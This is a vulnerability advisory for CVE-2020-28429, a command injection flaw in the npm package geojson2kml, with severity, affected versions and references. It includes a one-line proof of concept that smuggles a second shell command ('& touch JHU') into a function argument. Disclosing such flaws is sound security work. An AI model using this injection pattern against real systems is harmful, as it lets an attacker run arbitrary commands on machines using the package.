Command Injection in geojson2kml

CRITICAL 9.8CVE-2020-28429 · GHSA-w83x-fp72-p9qc · Published 23/02/2021 · updated 17/06/2026

Package	Affected versions	Patched versions
geojson2kml npm	`≤ 0.1.1`	No fix yet

Description

All versions up to and including version 0.1.1 of package geojson2kml are vulnerable to Command Injection via the index.js file.

PoC:

var a =require("geojson2kml"); 
a("./","& touch JHU",function(){})

NVD description

All versions of package geojson2kml are vulnerable to Command Injection via the index.js file. PoC: var a =require("geojson2kml"); a("./","& touch JHU",function(){})

References

nvd.nist.gov/vuln/detail/CVE-2020-28429 · ADVISORY
snyk.io/vuln/SNYK-JS-GEOJSON2KML-1050412 · WEB

Running one of these products? Scan your site to see whether it exposes a vulnerable version.

Scan my site free